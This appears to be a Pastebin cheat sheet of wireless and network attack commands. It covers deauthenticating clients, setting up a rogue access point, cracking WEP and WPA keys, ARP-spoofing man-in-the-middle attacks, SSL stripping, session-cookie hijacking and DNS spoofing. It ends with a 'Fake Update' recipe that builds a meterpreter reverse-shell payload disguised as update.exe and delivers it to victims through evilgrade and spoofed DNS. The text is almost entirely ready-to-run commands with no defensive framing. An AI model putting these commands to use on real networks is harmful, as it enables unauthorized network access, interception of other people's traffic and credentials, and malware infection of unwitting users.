API tools faq
paste
0xspade

Wifi Hacking.txt

0xspade
Mar 26th, 2019 (edited)
327
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.16 KB | None | 0 0
raw download clone embed print report
  1. > ifconfig wlan0 down
  2.  
  3. > airmon-ng start wlan0
  4.  
  5. > airmon-ng stop wlan0
  6.  
  7. > airmon-ng start mon0
  8.  
  9. > airodump-ng mon0
  10.  
  11. *crtl+C
  12.  
  13. > airodump-ng --channel [channel] --bssid [bssid] --write [file-name] [interface]
  14. ex: airodump-ng --channel 6 --bssid 11:22:33:44:55:66 --write file mon0
  15.  
  16. ~Deauthenticate all clients in a specific network
  17. > aireplay-ng --deauth [number-of packets] -a [Access-Point] [interface]
  18. ex: aireplay-ng --deauth 1000 -a 11:22:33:44:55:66 mon0
  19.  
  20. ~Deauthenticate a specific client in a network
  21. > aireplay-ng --deauth [number-of packets] -a [Access-Point] -c [target=STATION] [interface]
  22. ex: aireplay-ng --deauth 1000 -a 11:22:33:44:55:66 -c AA:BB:CC:DD:EE:FF mon0
  23.  
  24. ######Deauthentication attacks#######
  25.  
  26.  
  27. > airodump-ng --write [filename] --output-format [file-format] [interface]
  28. ex: airodump-ng --write file --output-format csv mon0
  29.  
  30. > airdrop-ng -t [csv-file] -r [rules-file] -i [interfaces]
  31. ex: airdrop-ng -t file-01.csv -r rules -i mon0
  32.  
  33. --- Creating Rule-File for Air-drop (Summary) ---
  34. ~ d/[bssid-target]|[Target Device]
  35. ~a/[fake-mac/your-bssid]|[Target Device]
  36.  
  37. For More Info: [URL]http://www.aircrack-ng.org/doku.php?id=airdrop-ng&DokuWiki=fc8c2e4leoquoc83lj0numire0[/URL]
  38.  
  39. ###### Creating Fake Access Point ######
  40.  
  41. ~Edit dhcp configuration file
  42.  
  43. > echo -e "interface=at0\ndhcp-range=192.168.0.3,192.168.0.150,12h" > /etc/dnsmasq.conf
  44.  
  45. ~Start Fake AP
  46.  
  47. > airbase-ng -e [fake network name] -c [channel] [interface]
  48. ex: airbase-ng -e fake-ap -c 6 mon0
  49.  
  50. ifconfig at0 192.168.0.1 up
  51.  
  52. ~Removing IPTABLEs rules
  53.  
  54. > iptables --flush
  55. > iptables --table nat --flush
  56. > iptables --delete-chain
  57. > iptables --tables nat --delete-chain
  58.  
  59. ~Enable Packet forward in iptables
  60.  
  61. > iptables -P FORWARD ACCEPT
  62.  
  63. ~Link the wifi card and the card thats connected to the internet
  64.  
  65. > iptables -t nat -A POSTROUTING -o [internet interface] -j MASQUERADE
  66. ex: iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  67.  
  68. ~Start dnsmasq
  69.  
  70. > sudo dnsmasq
  71.  
  72. ~Enable IP forward
  73.  
  74. > echo "1" > /proc/sys/net/ipv4/ip_forward
  75.  
  76. ###### WEP Cracking Basic ######
  77.  
  78. > airodump-ng --channel [channel] --bssid [bssid] --write [file-name] [interface]
  79. ex: airodump-ng --channel 6 --bssid 11:22:33:44:55:66 --write file mon0
  80.  
  81. > aircrack-ng [file-name]
  82. ex: aircrack-ng file-01.cap
  83.  
  84. ###### Fake Authentication / Packet Injection ######
  85.  
  86. > aireplay-ng --fakeauth 0 -a [target MAC] -h [your MAC] [interface]
  87. ex: aireplay-ng --fakeauth 0 -a 11:22:33:44:55:66 -h AA:BB:CC:DD:EE:FF mon0
  88.  
  89. --FOLLOWING Technique can be execute, depends on methodology you want :)
  90.  
  91. ~ARP request reply Technique
  92.  
  93. > aireplay-ng --arpreply -b [target MAC] -h [your MAC] [interface]
  94. ex: aireplay-ng --arpreplay -b 11:22:33:44:55:66 -h AA:BB:CC:DD:EE:FF mon0
  95.  
  96. ~Chop Chop Technique
  97.  
  98. > aireplay-ng --chopchop -b [target MAC] -h [your MAC] [interface]
  99. ex: aireplay-ng --chopchop -b 11:22:33:44:55:66 -h AA:BB:CC:DD:EE:FF mon0
  100.  
  101. > packetforge-ng -0 -a [target MAC] -h [your MAC] -k 255.255.255.255 -l 255.255.255.255 -y [out from last step.xor] -w [output]
  102. ex: packetforge-ng -0 -a 1:22:33:44:55:66 -h AA:BB:CC:DD:EE:FF -k 255.255.255.255 -l 255.255.255.255 -y 1122out.xor -w file
  103.  
  104. > aireplay-ng -2 -r [out from last step] [interface]
  105. ex: aireplay-ng -2 -r file mon0
  106.  
  107. ~Fragmentation Technique
  108.  
  109. aireplay-ng --fragment -b [target MAC] -h [your MAC] [interface]
  110. ex: aireplay-ng --fragment -b 11:22:33:44:55:66 -h AA:BB:CC:DD:EE:FF mon0
  111.  
  112. > packetforge-ng -0 -a [target MAC] -h [your MAC] -k 255.255.255.255 -l 255.255.255.255 -y [out from last step.xor] -w [output]
  113. ex: packetforge-ng -0 -a 1:22:33:44:55:66 -h AA:BB:CC:DD:EE:FF -k 255.255.255.255 -l 255.255.255.255 -y 1122out.xor -w file
  114.  
  115. > aireplay-ng -2 -r [out from last step] [interface]
  116. ex: aireplay-ng -2 -r file mon0
  117.  
  118. ###### WPA Cracking Basic ######
  119.  
  120. > wash -i mon0
  121.  
  122. ~Reaver
  123.  
  124. > reaver -b [target bssid] -c [channel] -i [interface]
  125. ex: reaver -b 11:22:33:44:55:66 -c 6 -i mon0
  126.  
  127. ###### Capturing Handshake #######
  128.  
  129. > airodump-ng -c [channel] -d [bssid] -w [filename] [inteface]
  130. ex: airodump-ng -c 6 -d 11:22:33:44:55:66 -w file mon0
  131.  
  132. > aireplay-ng --deauth [number of deauth packets] -a [bssid] -c [station] [interface]
  133. ex: aireplay-ng --deauth 0 -a 11:22:33:44:55:66 -c AA:BB:CC:DD:EE:FF mon0
  134.  
  135. ###### Creating Wordlist w/ crunch ######
  136.  
  137. > crunch [min] [max] [characters=lower|upper|numbers|symbols] -t [pattern] -o [filename]
  138. ex: crunch 6 8 123456!"&$% -t a@@@@b -o wordlist.txt
  139.  
  140. ###### Cracking the Key w/ Handshake file ######
  141.  
  142. > aircrack-ng [handshake file] -w [wordlist] [interface]
  143. ex: aircrack-ng file-01.cap -w wordlist.lst mon0
  144.  
  145. ####### Creating a PMK wordlist ######
  146.  
  147. ~Create a database & import wordlist
  148.  
  149. > airolib-ng [db_name] --import passwd [wordlist]
  150. ex: airolib-ng db_wordlist --import passwd wordlist.lst
  151.  
  152. ~Import target essid
  153.  
  154. > airolib-ng [db_name] --import essid [wordlist]
  155. ex: airolib-ng db_wordlist --import essid wordlist.lst
  156.  
  157. ~Compute PMK for the wordlist
  158.  
  159. > airolib-ng [db_name] --batch
  160. ex: airolib-ng db_wordlist --batch
  161.  
  162. ~Cracking the key using PMK DB
  163.  
  164. > aircrack-ng -r [db_name] [handshake file]
  165. ex: aircrack-ng -r db_wordlist file-01.cap
  166.  
  167. ###### Crackin .cap file w/ hashcat ######
  168.  
  169. [URL]https://hashcat.net/cap2hccap/[/URL]
  170.  
  171. [URL]https://www.blackmoreops.com/2014/03/27/cracking-wpa-wpa2-with-hashcat-kali-linux/[/URL]
  172.  
  173. ++++++++++++++++++++++
  174. Post Connection Attack
  175. ++++++++++++++++++++++
  176.  
  177. ###### Info Gathering ######
  178.  
  179. ~Netdiscover
  180.  
  181. > netdiscover -i [interface] -r [range]
  182. ex: netdiscover -i wlan0 -r 192.168.1.1/24
  183.  
  184. ~Autoscan
  185.  
  186. [URL]http://downloads.sourceforge.net/project/autoscan/AutoScan/autoscan-network%201.50/AutoScan-Network-Linux-1.50.bin.tar.gz?r=&ts=1475845627&use_mirror=nchc[/URL]
  187.  
  188. ~Nmap/Zenmap
  189.  
  190. -Ping Scan
  191. > nmap -sn [IP/IP Range]
  192.  
  193. -Quick Scan
  194. > nmap -T4 -F [IP/IP Range]
  195.  
  196. -Quick Scan Plus
  197. > nmap -sV -T4 -O -F --version-light [IP/IP Range]
  198.  
  199. ####### MITM ######
  200.  
  201. ~Arpspoof
  202.  
  203. > arpspoof -i [interface] -t [target ip] [AP IP/ Default Gateway]
  204. ex: arpspoof -i wlan0 -t 192.168.1.12 192.168.1.1
  205.  
  206. > arpspoof -i [interface] -t [AP IP/ Default Gateway] [target ip]
  207. ex: arpspoof -i wlan0 -t 192.168.1.1 192.168.1.12
  208.  
  209. > echo "1" > /proc/sys/net/ipv4/ip_forward
  210.  
  211. ~Ettercap
  212.  
  213. > ettercap -Tq -M arp:remote -i [interface] [AP MAC]/[AP IP/ DEFAULT GATEWAY]/[PORT] [TARGET MAC]/[TARGET IP]/[TARGET PORT]
  214. ex: ettercap -Tq -M arp:remote -i wlan0 /192.168.1.1/ /192.168.1.12/
  215. ex2: ettercap -Tq -M arp:remote -i wlan0 // #target all network
  216.  
  217. > echo "1" > /proc/sys/net/ipv4/ip_forward
  218.  
  219. --configure ettercap config
  220.  
  221. > gedit /etc/ettercap/etter.conf #Uncomment Linux::Iptables
  222.  
  223. ###### MITM Bypassing HTTPS/SSL #######
  224.  
  225. ~configure etter.conf
  226.  
  227. > gedit /etc/ettercap/etter.conf
  228.  
  229. --change this::
  230. [privs]
  231. ec_uid = 65534 # nobody is the default
  232. ec_gid = 65534 # nobody is the default
  233. --into this
  234. [privs]
  235. ec_uid = 0 # nobody is the default
  236. ec_gid = 0 # nobody is the default
  237.  
  238. ~iptables
  239.  
  240. > iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  241.  
  242. ~SSLSTRIP
  243.  
  244. > sslstrip -p
  245.  
  246. ~Ettercap
  247.  
  248. > ettercap -Tq -M arp:remote -i [interface] [AP MAC]/[AP IP/ DEFAULT GATEWAY]/[PORT] [TARGET MAC]/[TARGET IP]/[TARGET PORT]
  249. ex: ettercap -Tq -M arp:remote -i wlan0 /192.168.1.1/ /192.168.1.12/
  250. ex2: ettercap -Tq -M arp:remote -i wlan0 // #target all network
  251.  
  252.  
  253. > echo "1" > /proc/sys/net/ipv4/ip_forward
  254.  
  255. ###### SESSION Hijacking ######
  256.  
  257. > ettercap -Tq -M arp:remote -i [interface] [AP MAC]/[AP IP/ DEFAULT GATEWAY]/[PORT] [TARGET MAC]/[TARGET IP]/[TARGET PORT]
  258. ex: ettercap -Tq -M arp:remote -i wlan0 /192.168.1.1/ /192.168.1.12/
  259. ex2: ettercap -Tq -M arp:remote -i wlan0 // #target all network
  260.  
  261. > echo "1" > /proc/sys/net/ipv4/ip_forward
  262.  
  263. [URL]https://www.cookiecadger.com/files/CookieCadger-1.08.jar[/URL]
  264.  
  265. > java -jar CookieCadger-1.08.jar
  266.  
  267. ###### DNS Spoofing ######
  268.  
  269. ~configure etter.dns
  270.  
  271. > gedit /etc/ettercap/etter.dns
  272. --> *.sitename.com A *your_ip_here
  273.  
  274. > ettercap -Tq -M arp:remote -P dns_spoof -i [interface] [AP MAC]/[AP IP/ DEFAULT GATEWAY]/[PORT] [TARGET MAC]/[TARGET IP]/[TARGET PORT]
  275. ex: ettercap -Tq -M arp:remote -P dns_spoof -i wlan0 /192.168.1.1/ /192.168.1.12/
  276. ex2: ettercap -Tq -M arp:remote -P dns_spoof -i wlan0 // #target all network
  277.  
  278. > echo "1" > /proc/sys/net/ipv4/ip_forward
  279.  
  280. $$$$ ETTERCAP PLUGINS $$$$
  281.  
  282. [URL]https://linux.die.net/man/8/ettercap_plugins[/URL]
  283.  
  284. ###### Ettercap Filters ######
  285.  
  286. > echo "kill();drop();" > drop-packets.filter
  287.  
  288. > etterfilter drop-packets.filter -o drop-packets.ef
  289.  
  290. > ettercap -Tq -M arp:remote -F drop-packets.ef -i [interface] [AP MAC]/[AP IP/ DEFAULT GATEWAY]/[PORT] [TARGET MAC]/[TARGET IP]/[TARGET PORT]
  291. ex: ettercap -Tq -M arp:remote -F drop-packets.ef -i wlan0 /192.168.1.1/ /192.168.1.12/
  292. ex2: ettercap -Tq -M arp:remote -F drop-packets.ef -i wlan0 // #target all network
  293.  
  294. > echo "1" > /proc/sys/net/ipv4/ip_forward
  295.  
  296. ###### Ettercap GTK/Gui ######
  297.  
  298. > ettercap -G
  299.  
  300. ###### XPlico #####
  301.  
  302. > service apache2 start
  303.  
  304. > service xplico start
  305.  
  306. [URL]127.0.0.1:9876/[/URL]
  307. uname | pass :: xplico
  308.  
  309. > ettercap -Tq -M arp:remote -w [filename] -i [interface] [AP MAC]/[AP IP/ DEFAULT GATEWAY]/[PORT] [TARGET MAC]/[TARGET IP]/[TARGET PORT]
  310. ex: ettercap -Tq -M arp:remote -w file -i wlan0 /192.168.1.1/ /192.168.1.12/
  311. ex2: ettercap -Tq -M arp:remote -w file -i wlan0 // #target all network
  312.  
  313. #### Fake Update ####
  314.  
  315. ~metasploit
  316.  
  317. > msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=1337 X > update.exe
  318.  
  319. > msfconsole
  320. > use exploit/multi/handler
  321. > set PAYLOAD windows/meterpreter/reverse_tcp
  322. > set LHOST your_ip
  323. > set LPORT 1337
  324. > exploit
  325.  
  326. ~Evilgrade
  327.  
  328. > evilgrade
  329. > configure [module]
  330. > set agent update.exe
  331. > start
  332.  
  333. ~ DNS Spoof
  334.  
  335. ~configure etter.dns
  336.  
  337. > gedit /etc/ettercap/etter.dns
  338. --> *.sitename.com A *your_ip_here
  339.  
  340. > ettercap -Tq -M arp:remote -P dns_spoof -i [interface] [AP MAC]/[AP IP/ DEFAULT GATEWAY]/[PORT] [TARGET MAC]/[TARGET IP]/[TARGET PORT]
  341. ex: ettercap -Tq -M arp:remote -P dns_spoof -i wlan0 /192.168.1.1/ /192.168.1.12/
  342. ex2: ettercap -Tq -M arp:remote -P dns_spoof -i wlan0 // #target all network
  343.  
  344. > echo "1" > /proc/sys/net/ipv4/ip_forward
  345.  
  346. ==================================================================
  347. E N D
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!